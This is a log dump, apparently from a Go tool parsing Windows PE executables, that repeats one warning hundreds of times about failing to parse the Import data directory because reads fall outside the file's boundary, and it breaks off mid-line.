level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading 